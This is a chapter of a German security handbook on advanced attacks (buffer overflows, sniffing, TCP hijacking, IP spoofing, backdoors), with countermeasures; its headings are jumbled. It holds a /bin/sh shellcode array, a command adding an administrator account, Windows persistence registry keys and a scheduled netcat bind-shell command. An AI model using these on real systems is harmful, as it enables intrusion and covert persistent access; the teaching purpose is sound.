9 Fortgeschrittene Techniken |
|
9.1 EinführungWir sind schon ziemlich weit gekommen und haben die gängigen Angriffs-Techniken und -Tools kurz durchleuchtet. Bei der Niederschrift dieser Dokumentation war ich stets darum bemüht eine logische Aufteilung der und Zuteilung in die Kapitel vorzunehmen. Trotzdem gibt es einige Methoden, die sich nicht einordnen liessen. In diesem letzten technischen Kapitel werden wir fortgeschrittene Techniken kennenlernen, die nur von der elitären Angreifer-Schicht gewollt und konstruktiv umgesetzt werden können.9.2 Bufferoverflows9.2.1 Was sind Bufferoverflows9.3 SnifferIm November 1996 änderte sich das Gebiet der Computer-Sicherheit mit einem schlag, so wie dies schon bei der technischen Nachweisung von IP-Spoofing der Fall war: Der Moderator AlephOne der Mailing-Liste von Bugtraq beschrieb in seinem ernüchternden Artikel für das E-Zine"Phrack" (Ausgabe 49) mit dem Titel "Smashing the Stack for Fun and Profit" eine ausgeklügelte Angriffsform. Zwar gegen Pufferüberlauf-Attacken bis ins Jahre 1988 zurück, als Robert Tappan Morris die Unix-Welt mit seinem Sendmail-Wurm übertölpelte, doch fand sich noch nie eine wissenschaftliche Darstellung dieses Problems in diesem Umfang und jener Präzision wieder.9.2.2 Bufferoverflows: GegenmassnahmenBufferoverflows lassen sich in die Reihe der datenbasierten Angriffe einordnen und werden lokal oder remote durchgeführt. Eine datenbasierte Attacke wird durch die Übertragung von Daten an einen aktiven Dienst initiiert und versuchen stets eine für den Betreiber unerwünschte Reaktion am Ziel-System hervorzurufen. Der zustand eines Bufferoverflows tritt dann ein, wenn ein Nutzer oder eine Anwendung versucht mehr Daten in einen Puffer oder ein statisches Array zu schreiben, als ursprünglich vorgesehen war bzw. vordefiniert wurde. Dieses Verhalten tritt vorzugsweise bei den C-Funktionen strcpy(), strcat() und sprintf() auf. Unter normalen Bedingungen verursacht ein Pufferüberlauf eine Speicherschutzverletzung, wie sie die meisten Windows-Nutzer nur zu oft vorgesetzt bekommen.
Dieses Verhalten der Software kann jedoch für Angriffe in Form massiver Eingriffe ins System genutzt werden: Wir haben einen Puffer mit einer vordefinierten festen Länge von 128 Bytes eingerichtet. In diesem Puffer wird die Datenmenge verarbeitet, die mit den Sendmail-Befehl "VRFY" bestimmt wird. Dieser spezifische Befehl wird zur Identifizierung anhand der Mail-Adresse von Anwendern des SMTP-Servers genutzt. Gleichzeitig benutzt der Mail-DaemonSendmail in diesem Beispiel die SUID root und wird mit Root-Rechten ausgeführt (Ist vielerorts der Fall, muss aber nicht zwingend vorkommen!).
Was passiert nun, wenn ein vermeindlicher Angreifer eine Verbindung zum Ziel-Host aufbaut, und eine zu lange Zeichenkette, bestehd aus x-Zeichen an den "VRFY"-Befehl übermittelt? Der "VRFY"-Puffer läuft über, da eine maximale Kapazität von höchstens 128 Bytes vom Programmierer vorgesehen wurde. Wenn nun versucht werden sollte 1'000 Bytes in diesen besagten Buffer zu schreiben, bricht der Dienst ab und der Sendmail-Daemon fällt einer Denial of Service-Attacke zum Opfer. Doch durch geschickte Eingaben können jetzt statt einer DoS-Attacke beliebiger Code am Ziel-System ausgeführt werden, was viel gefährlicher für das Opfer werden würde.
Gehen wir davon aus, dass der Angreifer bemüht ist, sich eine Shell auf dem Host zu ergattern. Dazu müsste er das Ziel zwingen, den Befehl "/bin/sh" auszuführen. Da Sendmail mit Root-Rechten ausgeführt wird, wird diese Shell diese Rechte erben, und dem Angreifer Tür und Tor für das Ausspionieren und Ausbeuten des Systems öffnen. Um nun spezifischen korrupten Programmcode nach Belieben beim Opfer auszuführen, wird ein spezielles Assembler-Programm - auch als "egg" bekannt -, als Teil der Zeichenkette, die den Puffer überlaufen lässt, an den "VRFY"-Befehl übermittelt. Wenn jener Befehl so explizit manipulativ überläuft, kann der Angreifer die Adresse der auslösenden Funktion genau definieren, um den Ablauf des Programms zu beeinflussen. Das Programm wird meist nicht mehr korrekt an die richtige Speicheradresse zurückspringen. Stattdessen kann der Angreifer seinen feindseligen Asssembler-Code ausführen, der als Teil der Pufferüberlauf-Daten übertragen wurde und die Shell mit Root-Privilegien auszuführen vermag.
Es ist wichtig sich vor Augen zu führen, dass die MaschinenspracheAssembler von der Systemarchitektur und dem Betriebssystem abhängig ist, und daher in einigen elementaren Punkten varieren kann. Ein Bufferoverflow für eine Solaris X86 ist ganz anders als einr auf einer Solaris SPARC. Der folgende Ausschnitt versucht zu verdeutlichen, wie ein "egg" oder der spezifische Assembler-Code für einen Angriff auf FreeBSD mit Sendmail 8.7.5 aussieht:
char mach_codes[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";Pufferüberläufe sind sehr gefährlich und haben zu sehr vielen sicherheitsrelevanten Einbrüchen geführt. Es ist sehr schwierig, ein funktionierendes "egg" zu realisieren, da man sich sehr nahe am Betriebssystem-Kern auskennen muss. Es werden jedoch Woche für Woche neue Exploits veröffentlicht, die zur freien Verfügung gestellt von jedem, der einen C-Compiler bedienen kann, für den eigenen finanziellen oder wirtschaftlichen Vorteil missbraucht werden können. Als weiterführenden Artikel zur Erstellung von funktionierenden "eggs" empfiehlt sich der Artikel von AlephOne im Phrack Magazine 49, den man online unter http://www.2600.net/phrack/p49-14.html einsehen kann. Um die eigenen Assembler-Kenntnisse zu verbessern, empfehle ich das Buch "Panic UNIX Systems Crash and Dump Analysis" von Chris Drake und Kimberly Brown (ISBN: 0131493868).
Die beste Gegenmassnahme gegen diese nicht zu unterschätzende Angriffstechnik sind sichere Programmiertechniken, die von den ausführenden Programmierern eingesetzt werden sollten. Wer nicht direkt in dieses Geschehen eingreifen kann oder will, der muss sich halt stets mit den aktuellen Bugfixes und Updates zu versorgen wissen, die es meist direkt beim Software-Entwickler zu beziehen gilt. Testen und überwachen Sie die eigene Software, um mögliche Anomalien so schnellst wie möglich zu realisieren, um die richtigen Schritte einzuleiten. Grundsätzlich sollten alle unbenötigten Dienste deaktiviert werden, um eine möglichst geringe Angriffsfläche zu bieten. Dies gilt auch für die Stapelverarbeitung (Stack Execution).9.3.1 Was ist ein Sniffer9.4 TCP-HijackingUm die Funktionsweise eines Sniffers, in deutschen Publikationen oft auch Schnüffler genannt, zu verstehen, muss man sich des Wissens um die Architektur von Netzwerken bemächtigen: In einem Ethernet wird ein Datenpaket mit der Zieladresse versehen und auf die Reise geschickt. Erkennt ein Host seine eigene Adresse im Header des Pakets, nimmt er es an und verarbeitet es. Alle anderen Rechner im Netzwerk, bei denen das besagte Päckchen vorbeikommt, werden es ignorieren.9.3.2 Sniffer aufspürenNun gibt es aber die Möglichkeit, seine Netzwerkkarte in den sogenanten Promiscous-Mode (Promiskouitätsmodus) zu schalten, sofern alle dafür notwendigen Rechte vorhanden sind (Bei der NT-Architektur muss man administrative Rechte aufweisen können!). Hierbei nimmt das Netzwerkinterface jedes passierende Paket an, egal, ob es zu dessen Einsicht bestimmt ist, oder nicht. Nicht alle Netzwerkkarten unterstützen dies. Vor allem Token-Ring-Karten mit dieser erweiterten Funktionalität sind ziemlich rar. Können nun alle Datenpakete eines Netzwerkabschnitts eingesehen, protokolliert und ausgewertet werden, so findet man sich unter Umständen sehr schnell im Besitz vieler wichtigen und vertraulichen Informationen (z.B. Passwörter) wieder.
Beim Aufspüren von Sniffern in einem Netzwerk muss man zwischen der lokalen und der entfernten Suche unterscheiden. Die beiden Vorgehen unterscheiden sich in entscheidenden Punkten, doch gilt ein solches Vorhaben stets als Wissenschaft für sich.9.3.3 Sniffer: GegenmassnahmenBestenfalls versucht man einen Sniffer auf einem Systemlokal aufzuspüren. Dazu überprüft man, ob das Netzwerkinterface unerlaubt in den Promiscous-Mode geschaltet wurde. Das Vorgehen ist bei allen Varianten von Windows identisch:
Das erkennen von sniffendenStationen auf Distanz ist hochkomplex und in den seltensten Fällen wirklich zuverlässig. Aus diesem Grund werde ich in dieser Dokumentation nicht darauf eingehen.
Kann ein Betriebssystem nur schwer von einem Angreifer überzeugt werden, das Netzwerkinterface in den Promiscous-Mode zu schalten, kann dies schon die erste Hürde sein, wo so manches amateurhafte Vorgehen zum Scheitern verurteilt wird. Besonders eine Einschränkung an Rechten auf Multi-User-Betriebssystemen dürfte so manchen Hobby-Angreifer abschrecken.Ein weiterer und weitaus effizienterer Schritt kann eine durchdachte Netzwerkarchitektur sein. In geswitchten Umgebungen oder solchen mit durch Firewall-Elemente erreichtete Teilabschnitte kann der Schaden stark begrenzt werden. Es existieren zwar Möglichkeiten, wie auch in geswitchteNetzwerken Daten unerlaubt abgefangen werden können, doch setzt dies ein ganzes Stück mehr Arbeit und Wissen voraus. Leider ist dieses vorbeugende Vorgehen im Nachhinein durchzuführen sehr aufwendig und sollte schon beim Design des Netzwerksimplementiert worden sein.
Der letzte und mitunter brillianteste Schritt, eine Sniffer-Attacke im Sande verlaufen zu lassen ist das Verschlüsseln der Kommunikation im Netzwerk. Dies kann wahlweise auf den verschiedensten Schichten (engl. Layern) geschehen: Von PGP über IPv6 und IPSec bis hin zu SSH ist alles erlaubt und nützlich. Denn dadurch wird dem Angreifer ein weiterer Stein in den Weg gelegt. Die meisten Kommunikationen (so auch Logins über FTP, Telnet oder POP3) werden im Klartext übertragen: Einmal gesnifft, müssen sie nur noch interpretiert werden. Eine starke Verschlüsselung, wie sie zum Beispiel bei SSH zum Einsatz kommt, zu knacken, bedarf jedoch extrem viel Aufwand. Ein geübter Angreifer wird jedoch auch diese kryptographische Hürde packen...
9.4.1 Was ist TCP-Hijacking9.5 IP-SpoofingBekanntlich nutzt das ProtokollTCP der Netzwerkschicht den 3-Way-Handshake als Mechanismus zur Sicherung einer Verbindung. Dies schützt die Anwender jedoch nicht vor der unerlaubten Einsicht des Datenstroms durch Dritte. Wie man eine Kommunikation mitlesen kann, haben wir in Absatz 9.3 (Sniffer) erfahren. TCP-Hijacking geht noch einen Schritt weiter und kann effektiv zwei unabhängige Wege einschlagen: Entweder werden Fremddaten zum eigenen Vorteil in einen bestehenden Dialog eingespeist, oder die Kommunikation wird der rechtmässigen Partei entrissen. Die zwei bekanntesten Tools, die diese Funktionalität in sich bergen nennen sich Juggernaut und Hunt. Diese Programme laufen ausschliesslich unter UNIX/Linux, trotzdem möchte ich sie in dieser Dokumentation kurz näher vorstellen:9.4.2 TCP-Hijacking: GegenmassnahmenDas von Mike "Route" Schiffmann entwickelte Freeware-Tool Juggernaut war eines der ersten, das die Theorie des Abfangens und Manipulierens von TCP-Sitzungen in die Tat umsetzte. Befindet sich der mit Juggernaut ausgerüstete Angreifer an einem strategisch vorteilhaften Punkt, zum Beispiel bei einem Backbone, kann er mit der Hilfe dessen ganz einfach dem Treiben von TCP-Hijacking nachgehen: Das Abfangen von unverschüsselten Authentifizierungs-Dialogen oder das Einspeisen von neuen Passwörtern wird zum Kinderspiel.
Das neuere Hijacking-Utility Hunt unterscheidet sich eigentlich nur in der Bedienung von Juggernaut: Das Beobachten und Manipulieren von Kommunikationen ist auch mit diesem Tool ein einfach realisierbares Vorhaben.
Setzen Sie in Ihrem Netzwerk eine Switching-Topologie ein, die das Ausspionieren und Modifizieren von Datenverbindungen unmöglich macht oder wenigstens erschwert. Zwar existieren einige Techniken, wie Switches zur Preisgabe von Kommunikations-Details gezwungen werden, doch bedeutet dies, dass dem Angreifer mehr Aufwand aufgebrummt und zusätzliches Hintergrundwissen abverlangt wird.9.5.1 Was ist IP-Spoofing9.6 HintertürenDiese Attacke verhalf unter anderem einem dem weltberühmtesten Cracker namens Kevin "Condor" Mitnick zu einem temporären Siegeszug gegen die grössten Provider, Hoster und Telefonanbieter Amerikas. Zur damaligen Zeit konnte sich diese fiktive Attacke erst in den Köpfen einiger Computer-Experten etablieren, und wurde noch nie in freier Wildbahn genutzt. Daher konnten sich die betroffenen zuständigen Administratoren lange nicht erklären, wie Herr Mitnick sich unerlaubten Zugang zu vielen internen, eigentlich gut geschützten Systemen hatte verschaffen können. Wer mehr über den Fall Kevin Mitnick wissen möchte, dem sei das Buch "Data Zone - Die Hackerjagd im Internet" ans Herz gelegt.Ein IP-Header enthält wichtige, manipulierbare Informationen, wie zum Beispiel die Versions-Nummer des IP-Protokolls, die Länge des Headers, Infos, wie das Paket behandelt werden soll, die Gesamtlänge des Pakets, Flags, Fragment Offset, Lebensdauer des Pakets, Nummer des Transportprotokolls, Prüfsumme des Headers, Absender und Empfänger und ein Optionsfeld. Die kompletten Informationen über IP kann in RFC 791 (Internet Protocol) nachgelesen werden. IP-Spoofing lässt sich nun eigentlich in wenigen kurzen Worten beschreiben, und definiert sich eigentlich selbst als die fortgeschrittene blinde Technik der Fälschung von Daten auf einem Netzwerk durch vortäuschung einer falschen Absenderadresse, oft mit der Absicht, durch die gespoofte Absenderadresse authentifiziert zu werden.
Auch filtern viele Firewall-Komponente den Paket-Verkehr mittels des Verbietens von gewissen, im Header vorkommenden IP-Adressen. Um nun ein Portal zu sprengen, behilft man sich des IP-Spoofings. Dabei werden im ersten Schritte individuell die Informationen im Header des IP-Pakets manipuliert. Gelingt einem dieses Vorhaben, bietet dies einen hervorragenden Angriffspunkt für weitere Attacken. Das Überdenken und Überarbeiten der Konfiguration der Firewall kann bei externen Attacken für die Sicherheit des Netzes von unerlässlichem Vorteil sein. Prinzipiell sollten von einer Firewall-Komponente keine externen Pakete hereingelassen werden, welche eine intern existierende IP-Adresse aufweisen.
Konnte sich ein Eindringling in Ihr System einschleichen, wird er stets darum bemüht sein, sich eine Hintertür (engl. Backdoor) einzurichten. Dies erleichtert seinen späteren Wiedereintritt erheblich: Können Sie die ursprünglich genutzte Sicherheitslücke schliessen, wird er sein zuvor eingerichtetes Schlupfloch zu nutzen wissen.Das Aufspüren und Entfernen von erstellten Hintertüren ist nahezu unmöglich, da es eine unendliche Anzahl derer Einrichtung gibt. Die einzige Möglichkeit der 100%igen Säuberung eines komplett unterwanderten Systems besteht in einer vollumfänglichen Neuinstallation: Nur so können Sie ganz sicher gehen, dass nicht unerlaubte Daten und Hintertüren zurückgelassen wurden. Oft werden Sie jedoch in der Hitze des wirtschaftlichen Gefechts nicht die nötigen Ressourcen und Zeit aufweisen können, um das System von Grund auf neu aufzusetzen.
Unbestritten gewinnt in diesem Kapitel derjenige, der mehr Kompetenz als sein Gegner aufweisen vermag: Ein gut ausgebildeter und erfahrener Administrator wird wohl eher eine Hintertür finden, als dem grünschnabeligen Angreifer lieb ist. Damit wir die Techniken von Eindringlingen durchschauen können, müssen wir uns intensiv mit deren ihrer Vorgehensweise befassen. Daher widmen wir uns in diesem Abschnitt der Einrichtung von Hintertüren.
Die einfachste Form des Einrichtens einer Hintertür ist das Anlegen eines neuen Benutzerkontos. Bestmöglich stattet man sein neu kreiertes Konto mit möglichst vielen Rechten aus, um so viel Gewalt wie möglich für den späteren Zugriff auf dem System zu reservieren. Ein solches Konto unter Windows NT zu erstellen ist sehr simpel und kann mit einer einfachen Befehlseingabe getätigt werden:9.6.2 Benutzerkonten: Gegenmassnahmen
Wir erstellen einen neuen Benutzer mit dem Namen "marc" unter Windows NT 4.0.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.C:\WINNT>net localgroup administrators marc /add
C:\WINNT>
Die Entdeckung von unerlaubt eingerichteten Konten ist genauso einfach, wie deren Erstellung: Halten Sie einfach nach dubiosen Benutzerkonten Ausschau, die nicht von Ihnen angelegt wurden. Besonders wichtig ist, alle kuriosen Konten im Auge zu behalten, die zu den Gruppen "Administrators", "Domain Administrators" und verschiedenen lokalen Administratoren gehören. Werfen Sie auch ab und an einen Blick auf die Gruppe "Administrators", hinter der sich eine lokale Gruppe verbirgt, die auch andere globale Gruppen beherbergen kann.9.6.3 StartdateienViele Angriffsformen, im besonderen Hintertüren und Remote-Control-Programme, benötigen ein automatisches Ausführen von Programmcode beim Aufstarten des Betriebssystems. Es gibt zahlreiche Varianten, wie ein Eindringling im Hintergrund Programme ausführen kann. Hier sind 9 Möglichkeiten, wie man automatisch beim Aufstarten Windows zur Ausführung von Programmcode bringt.Autostart-Ordner
Alles in diesem Ordner wird beim Aufstarten ausgeführt.9.6.4 Zeitgesteuerte AufgabenDeutsch: c:\windows\Startmenü\Programme\Autostart
Englisch: c:\windows\start menu\programs\startup
Französisch: c:\windows\Menu Démarrer\Programmes\DémarrageDer Autostart-Ordner wird folgend in der Registry gespeichert:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders Startup="C:\windows\start menu\programs\startup"
Er kann somit einfach von Hand oder von einem Programm modifiziert werden.
win.ini
[windows]
load=datei.exe
run=datei.exesystem.ini [boot]
Shell=Explorer.exe file.exe
c:\windows\winstart.bat
Funktioniert wie eine normale Stapelverarbeitungs-Datei und wird nach Abarbeitung der "autoexec.bat" und vor dem Einstieg in den eigentlichen Win32-Modus abgearbeitet.
Registry-Einträge
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices]c:\windows\wininit.ini
Wird oft von Installations-Routinen verwendet, um einmalige Aktionen nach dem Neustart durchzuführen. In diesem Beispiel wird "c:\windows\picture.exe" an NUL gesendet, was einem Löschen gleichkommt. Diese Aktion benötigt keine Eingabe des Benutzers und wird vollkommen im Hintergrund abgearbeitet.
Beispiel:(Inhalt von wininit.ini)
[Rename]
NUL=c:\windows\explorer32.exeAutoexec.bat
Diese Stapelverarbeitungsdatei ist ein Überbleibsel aus der alten MS DOS-Zeit. Sie wird jeweils beim Eintritt in den DOS-Modus abgearbeitet.
Registry Shell Spawning
[HKEY_CLASSES_ROOT\exefile\shell\open\command] @="\"%1\"%*" [HKEY_CLASSES_ROOT\comfile\shell\open\command] @="\"%1\"%*" [HKEY_CLASSES_ROOT\batfile\shell\open\command] @="\"%1\"%*" [HKEY_CLASSES_ROOT\htafile\Shell\Open\Command] @="\"%1\"%*" [HKEY_CLASSES_ROOT\piffile\shell\open\command] @="\"%1\"%*" [HKEY_LOCAL_MACHINE\Software\CLASSES\batfile\shell\open\command] @="\"%1\" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\comfile\shell\open\command] @="\"%1\" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\shell\open\command] @="\"%1\" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\htafile\Shell\Open\Command] @="\"%1\" %*" [HKEY_LOCAL_MACHINE\Software\CLASSES\piffile\shell\open\command] @="\"%1\" %*" Der Schlüssel sollte mit einem Wert von "%1 %*" versehen werden, damit die "server.exe" bei jedem Aufruf einer exe-, pif-, com-, bat- oder hta-Datei ausgeführt wird. Diese Methode wird ab und an bei gewieften mit SubSeven bestückten Angreifern gesichtet.
ICQNet
Dieser Eintrag beinhaltet alle Applikationen, die beim Feststellen einer bestehenden Internet-Verbindung durch das Tool ICQNet ausgeführt werden sollen:
[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\test]
"Path"="explorer32.exe"
"Startup"="c:\\explorer32"
"Parameters"=""
"Enable"="Yes"[HKEY_CURRENT_USER\Software\Mirabilis\ICQ\Agent\Apps\]
Datei-Endungen vortäuschen bzw. manipulieren
[HKEY_LOCAL_MACHINE\Software\CLASSES\ShellScrap] @="Scrap object" "NeverShowExt"="" Durch diesen Eintrag kann die Wahre Dateiendung, in diesem Beispiel SHS, versteckt werden. Eine Datei mit dem wahren Namen "marc.jpg.shs" wird alsdann nur noch als "marc.jpg" angezeigt werden (In allen Datei-Explorern für DOS und Windows!). Die Registry weist schon von Haus aus einige solcher interessanter Einträge auf, die ohne weiteres nach Gutdünken gelöscht werden können, um einen Tick mehr Transparenz zu erreichen.
Wie wir gesehen haben eigenen sich Startdateien hervorragend zur Unterbringung von Programm- und Routinenaufrufen. Ein damit verbundenes Problem ist jedoch, dass diese Verweise nur beim Aufstarten, zum Beispiel dem des Betriebssystems oder eines Programms, angewählt werden. Weit mehr Skalierbarkeit bietet da das Einbinden von Start-Routinen in sogenannte Schedule-Dienste. Unter Windows NT ist das Programm "at" für das Ausführen von zeitgesteuerten Aufgaben zuständig. Möchte sich nun zum Beispiel ein Angreifer eine "netcat"-Hintertür auf einer NT-Maschine einrichten, wird es sich des folgenden Befehls bedienen:9.6.5 Zeitgesteuerte Aufgaben: Gegenmassnahmen
Wir richten einen neuen at-Job ein.
Microsoft(R) Windows NT(TM)
(C) Copyright 1985-1996 Microsoft Corp.C:\WINNT>at \\192.168.0.4 5:00A /every:1 ""nc -d -L -p 8000 -e cmd.exe""
Added a new job with job ID = 3C:\WINNT>
Diese Massnahme stellt nun jeweils täglich um 5:00 Uhr morgens auf TCP-Port 8000 eine Kommandozeile zur Verfügung, die ganz einfach mit der Anwahl durch Netcat genutzt werden kann.
Durchsuchen Sie periodisch die eingetragenen zeitgesteuerten Aufgaben mit dem Befehl at. Nicht genehmigte Jobs sollten Ihnen sofort ins Auge springen, wodurch ein Rückverfolgen oder Entgegenwirken flexibel und umgehend eingeleitet werden kann.Alternativ kann mit der Eingabe des Kommandos "net stop schedule" der at-Service ausgeschaltet werden. Das Startverhalten des Dienstes wird in der Systemsteuerung unter Dienste kalibriert. Wer keinen Nutzen aus at ziehen kann, der soll doch bestmöglich darauf verzichten.
9.7 ZusammenfassungIn diesem abschliessenden Kapitel haben wir eine ganze Reihe von durchdachten Hacking-Varianten kennengelernt: Das Abhören von Kommunikationen, also das Sniffen, kann mit simplen Tricks und Tools durchgeführt werden. Etwas komplizierter wurde es, als wir mittels TCP-Hijacking und IP-Spoofing Kommunikationen kompromittiert haben, um uns unerlaubten Vorteil zu verschaffen. In einem weiteren Schritt haben wir Möglichkeiten von Hintertüren erlickt, die praktisch kein Eindringling missen möchte: Benutzerkonten, Startdateien und zeitgesteuerte Aufgaben erleichtern das Einrichten von kleinen Nischen im System.